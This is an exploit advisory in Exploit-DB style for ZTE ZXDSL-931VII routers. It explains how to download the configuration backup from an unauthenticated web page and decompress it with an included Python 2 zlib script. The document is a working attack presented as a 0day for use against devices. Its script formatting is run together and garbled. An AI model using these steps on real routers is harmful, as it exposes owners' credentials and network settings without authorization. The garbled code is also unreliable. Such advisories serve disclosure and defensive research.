# Exploit Title: ZTE ZXDSL-931VII Unauthenticated Configuration Dump# Google Dork: use your imagination # Date: 09-12-2014# Exploit Author: L0ukanik0sGR# Vendor Homepage: www.zte.com.cn# Software Link: https://www.ote.gr/web/guest/help-and-support/internet/vdsl/-/support/article/870213%3Bjsessionid=01605E58A483CF54BB0E95208F531764.node3_1_OTEGR?! original firmware for that device could not be found but it works to all zte devices with custom ISP firmware :)# Version: 931vii,w300 and all zte products running that firmware# Tested on: linux other os compatible# CVE : None yet it's a 0day
ZTE ZXDSL-931VII Unauthenticated Configuration Dump
Unauthenticated Configuration File Download and
Decompression of the _config.binfile
by L0ukanik0s,GR 2014,l0ukanik0s@hotmail.com
Exploit PoC:1. Go to http://router-ip/ manager_dev_config_t.gch
2.
Click on 'Backup Configuration'and obtain the _config.bin3.
Download python script from http://pastebin.com/i6dfsL5D
4.
Then compileand run zte-0day.py (root@l0ukanik0s:~# python zte-0day.py)5.
Insert the path of the _config.binfile hit 'ENTER'6.
Enjoy your configuration dump
#!/usr/bin/env pythonimport zlib
#scripte originated from http://reverseengineering.stackexchange.com/questions/3593/re-compressed-backup-file-router-linux-based-so-is-it-compresed-with-zlibprint"################################################"print"# THe W0lf is so close #"print"# ZTE 931Vii Router configuration unpacker #"print"# Find configuration file @#"print"#http://192.168.1.1/manager_dev_config_t.gch #"print"#L0ukanik0s 2014 Hack-Hosting#"print"#l0ukanik0s@hotmail.com#"print"################################################"print"Enter your config.bin path: e.g root@l0ukanik0s:~#/Desktop/931router_config.bin"
configfile =raw_input("File Path :").strip()
magic_numbers =['\x78\xDA']
filename = configfile
infile =open(filename,'r')
data = infile.read()
pos =0
found =Falsewhile pos <len(data):
window = data[pos:pos+2]for marker in magic_numbers:if window == marker:
found =True
start = pos
print"Start of zlib %s"% pos
rest_of_data = data[start:]
decomp_obj = zlib.decompressobj()
uncompressed_msg = decomp_obj.decompress(rest_of_data)print"Configuration of ZTE 931 File Content: %s"% uncompressed_msg
breakif pos ==len(data):break
pos +=1if found:
header = data[:start]
footer = decomp_obj.unused_data
ifnot found:print"Sorry, no zlib found."